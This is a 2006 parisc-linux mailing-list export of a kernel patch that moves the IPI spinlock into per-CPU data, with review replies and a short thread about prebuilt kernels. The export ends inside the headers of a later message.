Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 75B097D8EB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Nov 2006 11:37:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03482-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Nov 2006 11:37:50 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id E85EE7D8DA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Nov 2006 11:37:49 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 651665840C0
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Nov 2006 13:37:49 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id D668D5840BF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Nov 2006 13:37:48 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 92659837DB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Nov 2006 13:37:48 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 9FEE03B06E; Sun, 26 Nov 2006 13:37:42 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20061126073306.GB29213@colo.lackof.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cbYMBM4efW4oTuWveGVoYXFmdmllcgXk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24114

On Sun, Nov 26, 2006 at 12:33:06AM -0700, Grant Grundler wrote:
> 

diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index 4a23a97..5b6bc6e 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -76,6 +76,7 @@ cpumask_t cpu_possible_map __read_mostly
 EXPORT_SYMBOL(cpu_online_map);
 EXPORT_SYMBOL(cpu_possible_map);
 
+DEFINE_PER_CPU(spinlock_t, ipi_lock) = SPIN_LOCK_UNLOCKED;
 
 struct smp_call_struct {
 	void (*func) (void *info);
@@ -167,10 +168,11 @@ ipi_interrupt(int irq, void *dev_id) 
 	mb();	/* Order interrupt and bit testing. */
 
 	for (;;) {
-		spin_lock_irqsave(&(p->lock),flags);
+		spinlock_t *lock = &per_cpu(ipi_lock, this_cpu);
+		spin_lock_irqsave(lock, flags);
 		ops = p->pending_ipi;
 		p->pending_ipi = 0;
-		spin_unlock_irqrestore(&(p->lock),flags);
+		spin_unlock_irqrestore(lock, flags);
 
 		mb(); /* Order bit clearing and data access. */
 
@@ -275,12 +277,13 @@ static inline void
 ipi_send(int cpu, enum ipi_message_type op)
 {
 	struct cpuinfo_parisc *p = &cpu_data[cpu];
+	spinlock_t *lock = &per_cpu(ipi_lock, cpu);
 	unsigned long flags;
 
-	spin_lock_irqsave(&(p->lock),flags);
+	spin_lock_irqsave(lock, flags);
 	p->pending_ipi |= 1 << op;
 	gsc_writel(IPI_IRQ - CPU_IRQ_BASE, cpu_data[cpu].hpa);
-	spin_unlock_irqrestore(&(p->lock),flags);
+	spin_unlock_irqrestore(lock, flags);
 }
 
 
diff --git a/include/asm-parisc/processor.h b/include/asm-parisc/processor.h
index fd7866d..435afe5 100644
--- a/include/asm-parisc/processor.h
+++ b/include/asm-parisc/processor.h
@@ -87,7 +87,6 @@ struct cpuinfo_parisc {
 	unsigned long hpa;          /* Host Physical address */
 	unsigned long txn_addr;     /* MMIO addr of EIR or id_eid */
 #ifdef CONFIG_SMP
-	spinlock_t lock;            /* synchronization for ipi's */
 	unsigned long pending_ipi;  /* bitmap of type ipi_message_type */
 	unsigned long ipi_count;    /* number ipi Interrupts */
 #endif
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Remove spinlock_t from cpu_data (and thus
	from processor.h)
Date: Sun, 26 Nov 2006 11:38:32 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <20061126183832.GK14076@parisc-linux.org>
References: <20061125165344.GA29949@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624222 21689 80.91.229.3 (22 Nov 2014 02:43:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Nov 2006 18:38:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx094) with SMTP; 26 Nov 2006 19:38:46 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BBA537D95E;
	Sun, 26 Nov 2006 11:38:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03830-05; Sun, 26 Nov 2006 11:38:42 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CBF317D94D;
	Sun, 26 Nov 2006 11:38:41 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A5FD27D944
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Nov 2006 11:38:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03673-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Nov 2006 11:38:33 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 42D217D946
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Nov 2006 11:38:33 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 0CACE494006; Sun, 26 Nov 2006 11:38:33 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20061125165344.GA29949@athena.road.mcmartin.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Uq4AKtJSMydyf4igZWpl2ndraGRhZlqm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24115

On Sat, Nov 25, 2006 at 11:53:44AM -0500, Kyle McMartin wrote:
> This should enable us to clean up our header files nicely.

Thanks for looking at this.

My first thought was "Surely there's a better way to do this, maybe
DEFINE_PER_CPU".

Then I looked at what you'd had to touch.  Essentially, we're
multiplexing 6 different ops onto one interrupt.  This would make sense
if we were short of interrupts, but on the vast majority of systems, we
aren't.

We define NOP, RESCHEDULE, CALL_FUNC, CPU_START, CPU_STOP and CPU_TEST.
CPU_TEST is never sent, down to 5.  CPU_NOP and CPU_RESCHEDULE are the
same other than debug statements, down to 4.  So by taking 3 additional
CPU interrupts, we can eliminate the spinlock entirely.

We could do away with RESCHEDULE if we pass a nop function to CALL_FUNC.
I don't know if we would suffer a performance hit from doing that
though.

We could also only enable CPU_STOP if CPU_HOTPLUG was set.  And
fold CPU_START/CPU_STOP into the CALL_FUNC bucket.  Or deregister
CPU_START after the CPU's come up.

In any case, I think this is a whole lot preferable to the spinlock that
we're currently using.  I have some other ideas (like using set_bit()
and xchg() which would take the atomic_hash_spinlock), but I think
redoing our IPI support in the way I've outlined above is cleaner.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Remove spinlock_t from cpu_data (and thus
	from processor.h)
Date: Sun, 26 Nov 2006 11:56:34 -0700
Lines: 72
Approved: news@gmane.org
Message-ID: <20061126185634.GE17707@colo.lackof.org>
References: <20061125165344.GA29949@athena.road.mcmartin.ca>
	<20061126073306.GB29213@colo.lackof.org>
	<20061126183742.GB14193@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624223 21693 80.91.229.3 (22 Nov 2014 02:43:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Nov 2006 18:57:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx087) with SMTP; 26 Nov 2006 19:57:02 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0DE307D967;
	Sun, 26 Nov 2006 11:56:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04084-04; Sun, 26 Nov 2006 11:56:58 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E27427D92D;
	Sun, 26 Nov 2006 11:56:56 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 94AA97D8F2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Nov 2006 11:56:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04084-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Nov 2006 11:56:52 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 1C3557D8B0
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Nov 2006 11:56:52 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 4654B3682AA;
	Sun, 26 Nov 2006 11:56:51 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26128-02; Sun, 26 Nov 2006 11:56:34 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 8F59E360001; Sun, 26 Nov 2006 11:56:34 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20061126183742.GB14193@athena.road.mcmartin.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: R9RacdwYf2I/GoicY2xoGxZwdWxlc9Yz
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24116

On Sun, Nov 26, 2006 at 01:37:42PM -0500, Kyle McMartin wrote:
> diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
> index 4a23a97..5b6bc6e 100644
> --- a/arch/parisc/kernel/smp.c
> +++ b/arch/parisc/kernel/smp.c
> @@ -76,6 +76,7 @@ cpumask_t cpu_possible_map __read_mostly
>  EXPORT_SYMBOL(cpu_online_map);
>  EXPORT_SYMBOL(cpu_possible_map);
>  
> +DEFINE_PER_CPU(spinlock_t, ipi_lock) = SPIN_LOCK_UNLOCKED;

If this works - this is the right way to do it.
You rock!

thanks!
grant

>  
>  struct smp_call_struct {
>  	void (*func) (void *info);
> @@ -167,10 +168,11 @@ ipi_interrupt(int irq, void *dev_id) 
>  	mb();	/* Order interrupt and bit testing. */
>  
>  	for (;;) {
> -		spin_lock_irqsave(&(p->lock),flags);
> +		spinlock_t *lock = &per_cpu(ipi_lock, this_cpu);
> +		spin_lock_irqsave(lock, flags);
>  		ops = p->pending_ipi;
>  		p->pending_ipi = 0;
> -		spin_unlock_irqrestore(&(p->lock),flags);
> +		spin_unlock_irqrestore(lock, flags);
>  
>  		mb(); /* Order bit clearing and data access. */
>  
> @@ -275,12 +277,13 @@ static inline void
>  ipi_send(int cpu, enum ipi_message_type op)
>  {
>  	struct cpuinfo_parisc *p = &cpu_data[cpu];
> +	spinlock_t *lock = &per_cpu(ipi_lock, cpu);
>  	unsigned long flags;
>  
> -	spin_lock_irqsave(&(p->lock),flags);
> +	spin_lock_irqsave(lock, flags);
>  	p->pending_ipi |= 1 << op;
>  	gsc_writel(IPI_IRQ - CPU_IRQ_BASE, cpu_data[cpu].hpa);
> -	spin_unlock_irqrestore(&(p->lock),flags);
> +	spin_unlock_irqrestore(lock, flags);
>  }
>  
>  
> diff --git a/include/asm-parisc/processor.h b/include/asm-parisc/processor.h
> index fd7866d..435afe5 100644
> --- a/include/asm-parisc/processor.h
> +++ b/include/asm-parisc/processor.h
> @@ -87,7 +87,6 @@ struct cpuinfo_parisc {
>  	unsigned long hpa;          /* Host Physical address */
>  	unsigned long txn_addr;     /* MMIO addr of EIR or id_eid */
>  #ifdef CONFIG_SMP
> -	spinlock_t lock;            /* synchronization for ipi's */
>  	unsigned long pending_ipi;  /* bitmap of type ipi_message_type */
>  	unsigned long ipi_count;    /* number ipi Interrupts */
>  #endif
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Prebuilt kernels not available
Date: Mon, 27 Nov 2006 19:41:55 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <20061128004155.GB18370@tachyon.int.mcmartin.ca>
References: <200611261138.51972.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624223 21696 80.91.229.3 (22 Nov 2014 02:43:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Nov 2006 00:42:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx091) with SMTP; 28 Nov 2006 01:42:17 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 37F087D923;
	Mon, 27 Nov 2006 17:42:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05017-07; Mon, 27 Nov 2006 17:42:14 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 33B007D952;
	Mon, 27 Nov 2006 17:42:12 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 63B577D923
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Nov 2006 17:41:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05017-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Nov 2006 17:41:58 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id E3B667D91E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Nov 2006 17:41:57 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 1BA5B5841CD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Nov 2006 19:41:57 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 96DB05841CA
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Nov 2006 19:41:56 -0500 (EST)
Original-Received: from tachyon.int.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "tachyon.i.cabal.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 49A91837DB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Nov 2006 19:41:56 -0500 (EST)
Original-Received: by tachyon.int.mcmartin.ca (Postfix, from userid 1000)
	id B59A8D6C17; Mon, 27 Nov 2006 19:41:55 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <200611261138.51972.deller@gmx.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 071dDDkwQEVsAujDZnVpHPVKNzg2NQKf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24117

On Sun, Nov 26, 2006 at 11:38:51AM +0100, Helge Deller wrote:
> I just noticed, that we don't have any recent prebuilt kernels at the kernel download page any longer:
> http://cvs.parisc-linux.org/download/linux-2.6/
> 
> It's still at 2.6.18-rc1-pa5 from July.
> 

It hasn't been updated for Git. Now that we pretty much build
straight out of Linus' tree barring some recent devel work, I don't
see too much value providing autobuilt images.

I spent a bit of time playing with the idea of a tinderbox to build
-git snapshots daily, but never bothered to see it through to completion.

Cheers,
	Kyle M.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] hppa-linux-gas binutils patch
Date: Tue, 28 Nov 2006 20:20:26 +0100
Lines: 93
Approved: news@gmane.org
Message-ID: <200611282020.26412.deller@gmx.de>
References: <200611270134.kAR1Y2k0025862@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624223 21701 80.91.229.3 (22 Nov 2014 02:43:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:43 +0000 (UTC)
Cc: dave.anglin@nrc.ca,
 parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Nov 2006 19:22:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx091) with SMTP; 28 Nov 2006 20:22:14 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 636AB7D99C;
	Tue, 28 Nov 2006 12:22:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21826-07; Tue, 28 Nov 2006 12:22:09 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 736227D99D;
	Tue, 28 Nov 2006 12:22:07 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 528A77D99B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Nov 2006 12:21:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21826-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Nov 2006 12:21:55 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 5D5867D995
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Nov 2006 12:21:55 -0700 (MST)
Original-Received: (qmail invoked by alias); 28 Nov 2006 19:21:50 -0000
Original-Received: from mnhm-590c21d2.pool.einsundeins.de (EHLO p100.box) [89.12.33.210]
	by mail.gmx.net (mp038) with SMTP; 28 Nov 2006 20:21:50 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
In-Reply-To: <200611270134.kAR1Y2k0025862@hiauly1.hia.nrc.ca>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
